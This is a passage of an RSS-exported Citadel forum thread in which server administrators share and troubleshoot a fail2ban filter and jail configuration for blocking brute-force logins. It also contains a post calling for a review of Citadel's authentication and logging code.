<p>3) Add these lines (sshd should be there if nothing else) to your /etc/fail2ban/jail.d/ (debian is defaults-debian.conf )</p>
<p> </p>
<p>[sshd]<br />enabled = true<br /><br />[citadel]<br />enabled = true</p>
<p> </p>
<p>4) Restart fail2ban, however you like to do it.  maybe:</p>
<p>service fail2ban restart</p>
<p>5) Check to see if your new jail is active..</p>
<p>root@mail:/etc/fail2ban/jail.d# fail2ban-client status<br />Status<br />|- Number of jail:    2<br />`- Jail list:    citadel, sshd</p>
<p>6) Check for bans..</p>
<p>root@mail:/etc/fail2ban/jail.d# fail2ban-client status citadel<br />Status for the jail: citadel<br />|- Filter<br />|  |- Currently failed:    0<br />|  |- Total failed:    225<br />|  `- File list:    /var/log/syslog<br />`- Actions<br />   |- Currently banned:    25<br />   |- Total banned:    225<br />   `- Banned IP list:    ....<br /><br />I'll try to get a proper procedure written for you sometime ...</p>
<p><br /><br /></p>
<br /><br /></div>
</blockquote>
<p> </p>
<br /><br /></div>
</blockquote>
<p> </p>
<br /><br /></div>
</blockquote>
<p> </p>
<br /><br /></div>
</blockquote>
<p> </p>
<br /><br /></div>
</blockquote>
<p> </p>
]]></description></item><item><link>http://uncensored.citadel.org/readfwd?go=Citadel%20Security?start_reading_at=4645463</link><pubDate>Wed, 13 Jan 2021 20:40:53 -0000</pubDate><title>Considerations for Citadel authentication &amp; logging..</title><guid isPermaLink="false">4645463@Uncensored</guid><description><![CDATA[<html><body>

<p>There a number of ways Citadel handles authentication, among these being: (citadel.h 195) </p>
<p>/*<br /> * Authentication modes<br /> */<br />#define AUTHMODE_NATIVE    0  // Native (self-contained or "black box")<br />#define AUTHMODE_HOST      1  // Authenticate against the host OS user database<br />#define AUTHMODE_LDAP      2  // Authenticate against an LDAP server with RFC 2$<br />#define AUTHMODE_LDAP_AD   3  // Authenticate against non-standard MS Active Di$</p>
<p><br />The assumption here has been that we are talking about NATIVE (internal) mode..</p>
<p>but, there is also the (increasingly rare) case of HOST, and the various cases of LDAP.</p>
<p>I know from experience, that HOST is not uniform to NATIVE. </p>
<p>HOST involves the chkpwd utility, and the underlying authentication system. [chkpwd is old, and hangs a lot.  It should be examined.. ]</p>
<p>I know for a fact, that brute force attempts on a system using AUTHMODE_HOST will CREATE any account name that is tried...</p>
<p>meaning, accounts such as 'admin', 'root', 'mysel', and 'mail' will begin to appear. [not cool]</p>
<p>These accounts will simply show up in your database if anyone tries to log in on a system using AUTHMODE_HOST.</p>
<p>I know it because it happened to me a few years ago.</p>
<p>I'm not sure about the LDAP situation, it would require research. As would the OAUTH integration, and whatever else might be in there.</p>
<p>As with any code of this vintage, we expect to find some nooks and crannys.. </p>
<p>My point in posting then, is that all AUTH related code should be REVIEWED, to ascertain CONSISTENCY.</p>
<p>To make sure we don't have all kinds of edge cases, and end up dragging this out over the next decade.  </p>
<p>Then, ALL the authentication logging should be unified to run at some (either default, or easily adjusted) log level.</p>
<p>It should be ROBUST, and CONSISTENT, working the same way, regardless of CLIENT or SERVICE. </p>
<p>Then it would be quite trivial to have a filter which can find those lines in whatever log they might appear.</p>
<p>I don't have a lot of time to do this myself at the moment, but will help out in locating/explaining what I know.</p>
<p>There are also session considerations for stateless clients. </p>
<p>Authentication/Session kind of goes together. </p>
<p>The whole apparatus should be looked at by <em>someone other than Art,</em> if for no reason other than his sanity. </p>
<p>Then we should have a good, open discussion. </p>
<p>If anyone wants to jump in on that, I'll do what I can to help you. </p>
<p> </p>
]]></description></item><item><link>http://uncensored.citadel.org/readfwd?go=Citadel%20Security?start_reading_at=4645443</link><pubDate>Wed, 13 Jan 2021 19:36:14 -0000</pubDate><title>Re: Quick and dirty Fail2ban filter for Citadel..</title><guid isPermaLink="false">4645443@Uncensored</guid><description><![CDATA[<html><body>

<p>I didn't test the filter with fail2ban-regex. Instead I tested it by running two console windows on one IP and a browser on another IP, on one I was monitoring the mail.log file (using "watch tail /var/log/mail.log") on the next I was checking the jail status: "sudo fail2ban-client status citadel" and on the third I accessed WebCit with a browser and deliberately typing wrong passwords. It worked like a charm - in each wrong password login attempt the right info line was added to mail.log and after 3 attempts (in my case maxretry = 3) fail2ban jailed the IP. So the filter works.</p>
<p>I noticed however that the filter does not work for login attempts where the username does not exist in the system and the offender it only trying to guess a username. However, it seems that Citadel doesn't generate any log line in this case anyway.</p>
<blockquote>
<div class="message_header"><span>Wed Jan 13 2021 02:15:46 EST</span> <span>from <a href="do_template?template=user_show?who=Michael">Michael</a> </span> <span class="message_subject">Subject: Re: Quick and dirty Fail2ban filter for Citadel..</span></div>
<div class="message_content">
<p>Have you tried testing the filter via command line? fail2ban-regex &lt;path to log&gt; filter_name</p>
<blockquote>
<div class="message_header"><span>Mon Jan 11 2021 12:25:43 EST</span> <span>from <a href="do_template?template=user_show?who=omatnet">omatnet</a> </span> <span class="message_subject">Subject: Re: Quick and dirty Fail2ban filter for Citadel..</span></div>
<div class="message_content">
<p>It works well for me also with log level of 6. However I noticed something else and not sure if it is an issue: At times, the Citadel mail log doesn't list the IP address of the calling machine, but the domain name (if it resolves to a domain name).</p>
<p>Do you have any idea if fail2ban will still handle a domain name in the log the same way it would an IP?</p>
<p> </p>
<p>Also, in my case I decided that any banned remote machine should be banned on all ports, not only on the mail ports or ssh port etc. So I changed the iptables port command (action.d/iptables-multiport.conf) from &lt;port&gt; to be 0:65535. This also solves any other tweaks that will be needed when using non-standard ports (or otherwise fail2ban will report banning, but will not actually ban the IP as the ban would be on the wrong port).</p>
<p> </p>
<blockquote>
<div class="message_header"><span>Sun Jan 10 2021 22:40:26 EST</span> <span>from <a href="do_template?template=user_show?who=warbaby">warbaby</a> </span> <span class="message_subject">Subject: Re: Quick and dirty Fail2ban filter for Citadel..</span></div>
<div class="message_content">
<p>As I recall, when I wrote this, I was starting citserver from the command line with a log level of 7, so I could test various logins and watch..</p>
<p>IIRC something like:</p>
<p>/usr/local/citadel/citserver -x7 # which I forgot to document. :O</p>
<p>[That's just a guess though, I don't have it in front of me, and my HISTFILE ain't that long. See <a href="https://citadel.org/loglevel.html" target="webcit01">https://citadel.org/loglevel.html</a> but, the doc with the switches is harder to find, it may be still on the Wayback machine.]</p>
<p>I did that so I could see the output as I was working on the filter. </p>
<p>I was not concerned with integration with other logs, only syslog, since syslog is the default for easyinstall installations..</p>
<p>And also, wanted to do one regex to catch every authentication attempt on every port, IMAP, SMTP, 504, XMPP, Webcit etc... that was the aim.  As I recall, mine does that.</p>
<p>Also, keep a handy reference to UNBAN yourself when testing, because I guarantee it's going to happen.<code></code></p>
<p><code>fail2ban-client set citadel unbanip &lt;your-ip-address&gt;</code></p>
<p>Also, remember to keep a way to log into your VPS or system after you're blocked.  Physical keyboard, host terminal, etc.. </p>
<p>IF you have a network or password glitch, or you change your password in Webcit..  THUNDERBIRD will keep throwing out the old credentials with reckless abandon, thereby GUARANTEEING you're QUICKLY BLOCKED! You have to move fast. You might want to set your bantime low and your retries a little higher, depending on how many users you have and where they are at, because that one certainly will come up over a period of time..  You'll think, "hey, lemme jus change dis passwerd" then seconds later, be wondering why your ssh session is no longer responding...</p>
<p> </p>
<blockquote>
<div class="message_header"><span>Tue Sep 29 2020 07:58:40 PM EDT</span> <span>from <a href="do_template?template=user_show?who=warbaby">warbaby</a> </span> <span class="message_subject">Subject: Quick and dirty Fail2ban filter for Citadel..</span></div>
<div class="message_content">
<p>In light of all the service 'outages' lately.. [Been seeing some big spikes brute force attempts.. ]</p>
<p>install fail2ban according to the way you do it for you..</p>
<p>Remember, this is a "Quick" and also "Dirty" solution. something to keep the Mongolian Hoards out of your mail-box .</p>
<p>The regex is quite nonrestrictive, for the sake of getting a layer of security out to you. </p>
<p>It can probably be ddosed pretty easily, so this is not the kind of thing we want to propagate until those fields have been better clamped down and tested..</p>
<p>[This will take time, and we can use any/all help.]</p>
<p>But, this will definitely stop the brute forcing.  I banned &amp; blocked myself several times with it last night.. :)</p>
<p>1) Add this filter (maybe in /etc/fail2ban/filter.d/<strong>citadel.conf</strong>, or whatever suits your setup)</p>
<p>[Follow down below, more after the file.. ]</p>
<p>##</p>
<p># Fail2Ban filter for citadel (citserver)<br />#<br /># Citadel should default to log incorrect passwords by &lt;service&gt;. This SHOULD <br /># include any login attempt by text client, webcit, smtp, imap, pop, or xmpp.<br /># but has only been tested for webcit, and smtp.. <br /><br />[INCLUDES]<br /><br />before = common.conf<br /><br />[Definition]<br /><br />_daemon = citserver<br /><br /># Option:  failregex<br /># Notes.:  regex to match yer password failures messages in yer logfile.<br /># Values:  TEXT<br /><br />failregex = ^%(__prefix_line)suser_ops: bad password specified for &lt;[^&gt;]+&gt; Service &lt;[^&gt;]+&gt; Port &lt;[^&gt;]+&gt; Remote &lt;&lt;HOST&gt;<br /><br /># Option:  ignoreregex<br /># Notes.:  regex to ignore. If this regex matches, the line is ignored.<br /># Values:  TEXT<br />#<br />ignoreregex =</p>
<p>###</p>
<p>2) Add these lines to your jail.conf or jail.local [Choose your ban-time, I just used this for testing.. also, I know they have macros for syslog.  I'm just being direct, and expressing how I feel. ]</p>
<pre style="font-family: mono;">[citadel] 
bantime = 1h 
logpath = /var/log/syslog
</pre>
<p> </p>
<p>3) Add these lines (sshd should be there if nothing else) to your /etc/fail2ban/jail.d/ (debian is defaults-debian.conf )</p>
<p> </p>
<p>[sshd]<br />enabled = true<br /><br />[citadel]<br />enabled = true</p>
<p> </p>
<p>4) Restart fail2ban, however you like to do it.  maybe:</p>
<p>service fail2ban restart</p>
<p>5) Check to see if your new jail is active..</p>
<p>root@mail:/etc/fail2ban/jail.d# fail2ban-client status<br />Status<br />|- Number of jail:    2<br />`- Jail list:    citadel, sshd</p>
<p>6) Check for bans..</p>
<p>root@mail:/etc/fail2ban/jail.d# fail2ban-client status citadel<br />Status for the jail: citadel<br />|- Filter<br />|  |- Currently failed:    0<br />|  |- Total failed:    225<br />|  `- File list:    /var/log/syslog<br />`- Actions<br />   |- Currently banned:    25<br />   |- Total banned:    225<br />   `- Banned IP list:    ....<br /><br />I'll try to get a proper procedure written for you sometime ...</p>
<p><br /><br /></p>
<br /><br /></div>
</blockquote>
<p> </p>
<br /><br /></div>
</blockquote>
<p> </p>
<br /><br /></div>
</blockquote>
<p> </p>
<br /><br /></div>
</blockquote>
<p> </p>
]]></description></item><item><link>http://uncensored.citadel.org/readfwd?go=Citadel%20Security?start_reading_at=4645295</link><pubDate>Wed, 13 Jan 2021 07:15:46 -0000</pubDate><title>Re: Quick and dirty Fail2ban filter for Citadel..</title><guid isPermaLink="false">4645295@Uncensored</guid><description><![CDATA[<html><body>

<p>Have you tried testing the filter via command line? fail2ban-regex &lt;path to log&gt; filter_name</p>
<blockquote>
<div class="message_header"><span>Mon Jan 11 2021 12:25:43 EST</span> <span>from <a href="do_template?template=user_show?who=omatnet">omatnet</a> </span> <span class="message_subject">Subject: Re: Quick and dirty Fail2ban filter for Citadel..</span></div>
<div class="message_content">
<p>It works well for me also with log level of 6. However I noticed something else and not sure if it is an issue: At times, the Citadel mail log doesn't list the IP address of the calling machine, but the domain name (if it resolves to a domain name).</p>
<p>Do you have any idea if fail2ban will still handle a domain name in the log the same way it would an IP?</p>
<p> </p>
<p>Also, in my case I decided that any banned remote machine should be banned on all ports, not only on the mail ports or ssh port etc. So I changed the iptables port command (action.d/iptables-multiport.conf) from &lt;port&gt; to be 0:65535. This also solves any other tweaks that will be needed when using non-standard ports (or otherwise fail2ban will report banning, but will not actually ban the IP as the ban would be on the wrong port).</p>
<p> </p>
<blockquote>
<div class="message_header"><span>Sun Jan 10 2021 22:40:26 EST</span> <span>from <a href="do_template?template=user_show?who=warbaby">warbaby</a> </span> <span class="message_subject">Subject: Re: Quick and dirty Fail2ban filter for Citadel..</span></div>
<div class="message_content">
<p>As I recall, when I wrote this, I was starting citserver from the command line with a log level of 7, so I could test various logins and watch..</p>
<p>IIRC something like:</p>
<p>/usr/local/citadel/citserver -x7 # which I forgot to document. :O</p>
<p>[That's just a guess though, I don't have it in front of me, and my HISTFILE ain't that long. See <a href="https://citadel.org/loglevel.html" target="webcit01">https://citadel.org/loglevel.html</a> but, the doc with the switches is harder to find, it may be still on the Wayback machine.]</p>
<p>I did that so I could see the output as I was working on the filter. </p>
<p>I was not concerned with integration with other logs, only syslog, since syslog is the default for easyinstall installations..</p>
<p>And also, wanted to do one regex to catch every authentication attempt on every port, IMAP, SMTP, 504, XMPP, Webcit etc... that was the aim.  As I recall, mine does that.</p>
<p>Also, keep a handy reference to UNBAN yourself when testing, because I guarantee it's going to happen.<code></code></p>
<p><code>fail2ban-client set citadel unbanip &lt;your-ip-address&gt;</code></p>
<p>Also, remember to keep a way to log into your VPS or system after you're blocked.  Physical keyboard, host terminal, etc.. </p>
<p>IF you have a network or password glitch, or you change your password in Webcit..  THUNDERBIRD will keep throwing out the old credentials with reckless abandon, thereby GUARANTEEING you're QUICKLY BLOCKED! You have to move fast. You might want to set your bantime low and your retries a little higher, depending on how many users you have and where they are at, because that one certainly will come up over a period of time..  You'll think, "hey, lemme jus change dis passwerd" then seconds later, be wondering why your ssh session is no longer responding...</p>
<p> </p>
<blockquote>
<div class="message_header"><span>Tue Sep 29 2020 07:58:40 PM EDT</span> <span>from <a href="do_template?template=user_show?who=warbaby">warbaby</a> </span> <span class="message_subject">Subject: Quick and dirty Fail2ban filter for Citadel..</span></div>
<div class="message_content">
<p>In light of all the service 'outages' lately.. [Been seeing some big spikes brute force attempts.. ]</p>
<p>install fail2ban according to the way you do it for you..</p>
<p>Remember, this is a "Quick" and also "Dirty" solution. something to keep the Mongolian Hoards out of your mail-box .</p>
<p>The regex is quite nonrestrictive, for the sake of getting a layer of security out to you. </p>
<p>It can probably be ddosed pretty easily, so this is not the kind of thing we want to propagate until those fields have been better clamped down and tested..</p>
<p>[This will take time, and we can use any/all help.]</p>
<p>But, this will definitely stop the brute forcing.  I banned &amp; blocked myself several times with it last night.. :)</p>
<p>1) Add this filter (maybe in /etc/fail2ban/filter.d/<strong>citadel.conf</strong>, or whatever suits your setup)</p>
<p>[Follow down below, more after the file.. ]</p>
<p>##</p>
<p># Fail2Ban filter for citadel (citserver)<br />#<br /># Citadel should default to log incorrect passwords by &lt;service&gt;. This SHOULD <br /># include any login attempt by text client, webcit, smtp, imap, pop, or xmpp.<br /># but has only been tested for webcit, and smtp.. <br /><br />[INCLUDES]<br /><br />before = common.conf<br /><br />[Definition]<br /><br />_daemon = citserver<br /><br /># Option:  failregex<br /># Notes.:  regex to match yer password failures messages in yer logfile.<br /># Values:  TEXT<br /><br />failregex = ^%(__prefix_line)suser_ops: bad password specified for &lt;[^&gt;]+&gt; Service &lt;[^&gt;]+&gt; Port &lt;[^&gt;]+&gt; Remote &lt;&lt;HOST&gt;<br /><br /># Option:  ignoreregex<br /># Notes.:  regex to ignore. If this regex matches, the line is ignored.<br /># Values:  TEXT<br />#<br />ignoreregex =</p>
<p>###</p>
<p>2) Add these lines to your jail.conf or jail.local [Choose your ban-time, I just used this for testing.. also, I know they have macros for syslog.  I'm just being direct, and expressing how I feel. ]</p>
<pre style="font-family: mono;">[citadel] 
bantime = 1h 
logpath = /var/log/syslog
</pre>
<p> </p>
<p>3) Add these lines (sshd should be there if nothing else) to your /etc/fail2ban/jail.d/ (debian is defaults-debian.conf )</p>
<p> </p>
<p>[sshd]<br />enabled = true<br /><br />[citadel]<br />enabled = true</p>
<p> </p>
<p>4) Restart fail2ban, however you like to do it.  maybe:</p>
<p>service fail2ban restart</p>
<p>5) Check to see if your new jail is active..</p>
<p>root@mail:/etc/fail2ban/jail.d# fail2ban-client status<br />Status<br />|- Number of jail:    2<br />`- Jail list:    citadel, sshd</p>
<p>6) Check for bans..</p>
<p>root@mail:/etc/fail2ban/jail.d# fail2ban-client status citadel<br />Status for the jail: citadel<br />|- Filter<br />|  |- Currently failed:    0<br />|  |- Total failed:    225<br />|  `- File list:    /var/log/syslog<br />`- Actions<br />   |- Currently banned:    25<br />   |- Total banned:    225<br />   `- Banned IP list:    ....<br /><br />I'll try to get a proper procedure written for you sometime ...</p>
<p><br /><br /></p>
<br /><br /></div>
</blockquote>
<p> </p>
<br /><br /></div>
</blockquote>
<p> </p>
<br /><br /></div>
</blockquote>
<p> </p>
]]></description></item><item><link>http://uncensored.citadel.org/readfwd?go=Citadel%20Security?start_reading_at=4644869</link><pubDate>Mon, 11 Jan 2021 17:25:43 -0000</pubDate><title>Re: Quick and dirty Fail2ban filter for Citadel..</title><guid isPermaLink="false">4644869@Uncensored</guid><description><![CDATA[<html><body>

<p>It works well for me also with log level of 6. However I noticed something else and not sure if it is an issue: At times, the Citadel mail log doesn't list the IP address of the calling machine, but the domain name (if it resolves to a domain name).</p>
<p>Do you have any idea if fail2ban will still handle a domain name in the log the same way it would an IP?</p>
<p> </p>
<p>Also, in my case I decided that any banned remote machine should be banned on all ports, not only on the mail ports or ssh port etc. So I changed the iptables port command (action.d/iptables-multiport.conf) from &lt;port&gt; to be 0:65535. This also solves any other tweaks that will be needed when using non-standard ports (or otherwise fail2ban will report banning, but will not actually ban the IP as the ban would be on the wrong port).</p>
<p> </p>
<blockquote>
<div class="message_header"><span>Sun Jan 10 2021 22:40:26 EST</span> <span>from <a href="do_template?template=user_show?who=warbaby">warbaby</a> </span> <span class="message_subject">Subject: Re: Quick and dirty Fail2ban filter for Citadel..</span></div>
<div class="message_content">
<p>As I recall, when I wrote this, I was starting citserver from the command line with a log level of 7, so I could test various logins and watch..</p>
<p>IIRC something like:</p>
<p>/usr/local/citadel/citserver -x7 # which I forgot to document. :O</p>
<p>[That's just a guess though, I don't have it in front of me, and my HISTFILE ain't that long. See <a href="https://citadel.org/loglevel.html" target="webcit01">https://citadel.org/loglevel.html</a> but, the doc with the switches is harder to find, it may be still on the Wayback machine.]</p>
<p>I did that so I could see the output as I was working on the filter. </p>
<p>I was not concerned with integration with other logs, only syslog, since syslog is the default for easyinstall installations..</p>
<p>And also, wanted to do one regex to catch every authentication attempt on every port, IMAP, SMTP, 504, XMPP, Webcit etc... that was the aim.  As I recall, mine does that.</p>
<p>Also, keep a handy reference to UNBAN yourself when testing, because I guarantee it's going to happen.<code></code></p>
<p><code>fail2ban-client set citadel unbanip &lt;your-ip-address&gt;</code></p>
<p>Also, remember to keep a way to log into your VPS or system after you're blocked.  Physical keyboard, host terminal, etc.. </p>
<p>IF you have a network or password glitch, or you change your password in Webcit..  THUNDERBIRD will keep throwing out the old credentials with reckless abandon, thereby GUARANTEEING you're QUICKLY BLOCKED! You have to move fast. You might want to set your bantime low and your retries a little higher, depending on how many users you have and where they are at, because that one certainly will come up over a period of time..  You'll think, "hey, lemme jus change dis passwerd" then seconds later, be wondering why your ssh session is no longer responding...</p>
<p> </p>
<blockquote>
<div class="message_header"><span>Tue Sep 29 2020 07:58:40 PM EDT</span> <span>from <a href="do_template?template=user_show?who=warbaby">warbaby</a> </span> <span class="message_subject">Subject: Quick and dirty Fail2ban filter for Citadel..</span></div>
<div class="message_content">
<p>In light of all the service 'outages' lately.. [Been seeing some big spikes brute force attempts.. ]</p>
<p>install fail2ban according to the way you do it for you..</p>
<p>Remember, this is a "Quick" and also "Dirty" solution. something to keep the Mongolian Hoards out of your mail-box .</p>
<p>The regex is quite nonrestrictive, for the sake of getting a layer of security out to you. </p>
<p>It can probably be ddosed pretty easily, so this is not the kind of thing we want to propagate until those fields have been better clamped down and tested..</p>
<p>[This will take time, and we can use any/all help.]</p>
<p>But, this will definitely stop the brute forcing.  I banned &amp; blocked myself several times with it last night.. :)</p>
<p>1) Add this filter (maybe in /etc/fail2ban/filter.d/<strong>citadel.conf</strong>, or whatever suits your setup)</p>
<p>[Follow down below, more after the file.. ]</p>
<p>##</p>
<p># Fail2Ban filter for citadel (citserver)<br />#<br /># Citadel should default to log incorrect passwords by &lt;service&gt;. This SHOULD <br /># include any login attempt by text client, webcit, smtp, imap, pop, or xmpp.<br /># but has only been tested for webcit, and smtp.. <br /><br />[INCLUDES]<br /><br />before = common.conf<br /><br />[Definition]<br /><br />_daemon = citserver<br /><br /># Option:  failregex<br /># Notes.:  regex to match yer password failures messages in yer logfile.<br /># Values:  TEXT<br /><br />failregex = ^%(__prefix_line)suser_ops: bad password specified for &lt;[^&gt;]+&gt; Service &lt;[^&gt;]+&gt; Port &lt;[^&gt;]+&gt; Remote &lt;&lt;HOST&gt;<br /><br /># Option:  ignoreregex<br /># Notes.:  regex to ignore. If this regex matches, the line is ignored.<br /># Values:  TEXT<br />#<br />ignoreregex =</p>
<p>###</p>
<p>2) Add these lines to your jail.conf or jail.local [Choose your ban-time, I just used this for testing.. also, I know they have macros for syslog.  I'm just being direct, and expressing how I feel. ]</p>
<pre style="font-family: mono;">[citadel] 
bantime = 1h 
logpath = /var/log/syslog
</pre>
<p> </p>
<p>3) Add these lines (sshd should be there if nothing else) to your /etc/fail2ban/jail.d/ (debian is defaults-debian.conf )</p>
<p> </p>
<p>[sshd]<br />enabled = true<br /><br />[citadel]<br />enabled = true</p>
<p> </p>
<p>4) Restart fail2ban, however you like to do it.  maybe:</p>
<p>service fail2ban restart</p>
<p>5) Check to see if your new jail is active..</p>
<p>root@mail:/etc/fail2ban/jail.d# fail2ban-client status<br />Status<br />|- Number of jail:    2<br />`- Jail list:    citadel, sshd</p>
<p>6) Check for bans..</p>
<p>root@mail:/etc/fail2ban/jail.d# fail2ban-client status citadel<br />Status for the jail: citadel<br />|- Filter<br />|  |- Currently failed:    0<br />|  |- Total failed:    225<br />|  `- File list:    /var/log/syslog<br />`- Actions<br />   |- Currently banned:    25<br />   |- Total banned:    225<br />   `- Banned IP list:    ....<br /><br />I'll try to get a proper procedure written for you sometime ...</p>
<p><br /><br /></p>
<br /><br /></div>
</blockquote>
<p> </p>
<br /><br /></div>
</blockquote>
<p> </p>
]]></description></item><item><link>http://uncensored.citadel.org/readfwd?go=Citadel%20Security?start_reading_at=4644727</link><pubDate>Mon, 11 Jan 2021 03:40:26 -0000</pubDate><title>Re: Quick and dirty Fail2ban filter for Citadel..</title><guid isPermaLink="false">4644727@Uncensored</guid><description><![CDATA[<html><body>

<p>As I recall, when I wrote this, I was starting citserver from the command line with a log level of 7, so I could test various logins and watch..</p>
<p>IIRC something like:</p>
<p>/usr/local/citadel/citserver -x7 # which I forgot to document. :O</p>
<p>[That's just a guess though, I don't have it in front of me, and my HISTFILE ain't that long. See https://citadel.org/loglevel.html but, the doc with the switches is harder to find, it may be still on the Wayback machine.]</p>
<p>I did that so I could see the output as I was working on the filter. </p>
<p>I was not concerned with integration with other logs, only syslog, since syslog is the default for easyinstall installations..</p>
<p>And also, wanted to do one regex to catch every authentication attempt on every port, IMAP, SMTP, 504, XMPP, Webcit etc... that was the aim.  As I recall, mine does that. </p>
<p>Also, keep a handy reference to UNBAN yourself when testing, because I guarantee it's going to happen.<code></code></p>
<p><code>fail2ban-client set citadel unbanip &lt;your-ip-address&gt;</code></p>
<p>Also, remember to keep a way to log into your VPS or system after you're blocked.  Physical keyboard, host terminal, etc..  </p>
<p>IF you have a network or password glitch, or you change your password in Webcit..  THUNDERBIRD will keep throwing out the old credentials with reckless abandon, thereby GUARANTEEING you're QUICKLY BLOCKED! You have to move fast. You might want to set your bantime low and your retries a little higher, depending on how many users you have and where they are at, because that one certainly will come up over a period of time..  You'll think, "hey, lemme jus change dis passwerd" then seconds later, be wondering why your ssh session is no longer responding...</p>
<p> </p>
<blockquote>
<div class="message_header"><span>Tue Sep 29 2020 07:58:40 PM EDT</span> <span>from <a href="do_template?template=user_show?who=warbaby">warbaby</a> </span> <span class="message_subject">Subject: Quick and dirty Fail2ban filter for Citadel..</span></div>
<div class="message_content">
<p>In light of all the service 'outages' lately.. [Been seeing some big spikes brute force attempts.. ]</p>
<p>install fail2ban according to the way you do it for you..</p>
<p>Remember, this is a "Quick" and also "Dirty" solution. something to keep the Mongolian Hoards out of your mail-box .</p>
<p>The regex is quite nonrestrictive, for the sake of getting a layer of security out to you. </p>
<p>It can probably be ddosed pretty easily, so this is not the kind of thing we want to propagate until those fields have been better clamped down and tested..</p>
<p>[This will take time, and we can use any/all help.]</p>
<p>But, this will definitely stop the brute forcing.  I banned &amp; blocked myself several times with it last night.. :)</p>
<p>1) Add this filter (maybe in /etc/fail2ban/filter.d/<strong>citadel.conf</strong>, or whatever suits your setup)</p>
<p>[Follow down below, more after the file.. ]</p>
<p>##</p>
<p># Fail2Ban filter for citadel (citserver)<br />#<br /># Citadel should default to log incorrect passwords by &lt;service&gt;. This SHOULD <br /># include any login attempt by text client, webcit, smtp, imap, pop, or xmpp.<br /># but has only been tested for webcit, and smtp.. <br /><br />[INCLUDES]<br /><br />before = common.conf<br /><br />[Definition]<br /><br />_daemon = citserver<br /><br /># Option:  failregex<br /># Notes.:  regex to match yer password failures messages in yer logfile.<br /># Values:  TEXT<br /><br />failregex = ^%(__prefix_line)suser_ops: bad password specified for &lt;[^&gt;]+&gt; Service &lt;[^&gt;]+&gt; Port &lt;[^&gt;]+&gt; Remote &lt;&lt;HOST&gt;<br /><br /># Option:  ignoreregex<br /># Notes.:  regex to ignore. If this regex matches, the line is ignored.<br /># Values:  TEXT<br />#<br />ignoreregex =</p>
<p>###</p>
<p>2) Add these lines to your jail.conf or jail.local [Choose your ban-time, I just used this for testing.. also, I know they have macros for syslog.  I'm just being direct, and expressing how I feel. ]</p>
<pre style="font-family: mono;">[citadel] 
bantime = 1h 
logpath = /var/log/syslog
</pre>
<p> </p>
<p>3) Add these lines (sshd should be there if nothing else) to your /etc/fail2ban/jail.d/ (debian is defaults-debian.conf )</p>
<p> </p>
<p>[sshd]<br />enabled = true<br /><br />[citadel]<br />enabled = true</p>
<p> </p>
<p>4) Restart fail2ban, however you like to do it.  maybe:</p>
<p>service fail2ban restart</p>
<p>5) Check to see if your new jail is active..</p>
<p>root@mail:/etc/fail2ban/jail.d# fail2ban-client status<br />Status<br />|- Number of jail:    2<br />`- Jail list:    citadel, sshd</p>
<p>6) Check for bans..</p>
<p>root@mail:/etc/fail2ban/jail.d# fail2ban-client status citadel<br />Status for the jail: citadel<br />|- Filter<br />|  |- Currently failed:    0<br />|  |- Total failed:    225<br />|  `- File list:    /var/log/syslog<br />`- Actions<br />   |- Currently banned:    25<br />   |- Total banned:    225<br />   `- Banned IP list:    ....<br /><br />I'll try to get a proper procedure written for you sometime ...</p>
<p><br /><br /></p>
<br /><br /></div>
</blockquote>
<p> </p>
]]></description></item><item><link>http://uncensored.citadel.org/readfwd?go=Citadel%20Security?start_reading_at=4644682</link><pubDate>Sun, 10 Jan 2021 23:49:39 -0000</pubDate><title>Re: Quick and dirty Fail2ban filter for Citadel..</title><guid isPermaLink="false">4644682@Uncensored</guid><description><![CDATA[<html><body>

<p>Michael, if you updated the command line parameters in /etc/systemd/system/citadel.service to have the "-lmail" parameter, than the access attempt will be logged in /var/log/mail.log file, so referencing point 2 below by warbaby, the line in jail.local for [citadel] jail would be: "logpath = /var/log/mail.log" instead of "logpath = /var/log/syslog". Did that not work either?</p>
<blockquote>
<div class="message_header"><span>Sat Jan 09 2021 09:17:36 EST</span> <span>from <a href="do_template?template=user_show?who=Michael">Michael</a> </span> <span class="message_subject">Subject: Re: Quick and dirty Fail2ban filter for Citadel..</span></div>
<div class="message_content">
<p>I did some testing with the failregex below.  Did not produce any hits against syslog.  Tried this instead:</p>
<p>failregex = .*bad.* &lt;HOST&gt;<br />       <br />ignoreregex = systemd|CRON|spamd|fail2ban-client</p>
<p>which found the correct number auf smtp auth errors in my log.</p>
<p> </p>
<p>On another note, fail2ban's standard sendmail.conf action (used when selecting MTA = sendmail) links to /usr/local/sendmail.  That file links to /usr/local/citadel/citmail on my installation.  Using the -f attribute produces errors.  One needs to update sendmail.conf and sendmail-common.conf to point to citmail.  Everything is working now.</p>
<p>Maybe, in your next build, there is a way to allow the sendmail link to citmail to work without modifying fail2ban's sendmail conf files?</p>
<p><br /><br /></p>
<p> </p>
<blockquote>
<div class="message_header"><span>Tue Sep 29 2020 19:58:40 EDT</span> <span>from <a href="do_template?template=user_show?who=warbaby">warbaby</a> </span> <span class="message_subject">Subject: Quick and dirty Fail2ban filter for Citadel..</span></div>
<div class="message_content">
<p>In light of all the service 'outages' lately.. [Been seeing some big spikes brute force attempts.. ]</p>
<p>install fail2ban according to the way you do it for you..</p>
<p>Remember, this is a "Quick" and also "Dirty" solution. something to keep the Mongolian Hoards out of your mail-box .</p>
<p>The regex is quite nonrestrictive, for the sake of getting a layer of security out to you. </p>
<p>It can probably be ddosed pretty easily, so this is not the kind of thing we want to propagate until those fields have been better clamped down and tested..</p>
<p>[This will take time, and we can use any/all help.]</p>
<p>But, this will definitely stop the brute forcing.  I banned &amp; blocked myself several times with it last night.. :)</p>
<p>1) Add this filter (maybe in /etc/fail2ban/filter.d/<strong>citadel.conf</strong>, or whatever suits your setup)</p>
<p>[Follow down below, more after the file.. ]</p>
<p>##</p>
<p># Fail2Ban filter for citadel (citserver)<br />#<br /># Citadel should default to log incorrect passwords by &lt;service&gt;. This SHOULD <br /># include any login attempt by text client, webcit, smtp, imap, pop, or xmpp.<br /># but has only been tested for webcit, and smtp.. <br /><br />[INCLUDES]<br /><br />before = common.conf<br /><br />[Definition]<br /><br />_daemon = citserver<br /><br /># Option:  failregex<br /># Notes.:  regex to match yer password failures messages in yer logfile.<br /># Values:  TEXT<br /><br />failregex = ^%(__prefix_line)suser_ops: bad password specified for &lt;[^&gt;]+&gt; Service &lt;[^&gt;]+&gt; Port &lt;[^&gt;]+&gt; Remote &lt;&lt;HOST&gt;<br /><br /># Option:  ignoreregex<br /># Notes.:  regex to ignore. If this regex matches, the line is ignored.<br /># Values:  TEXT<br />#<br />ignoreregex =</p>
<p>###</p>
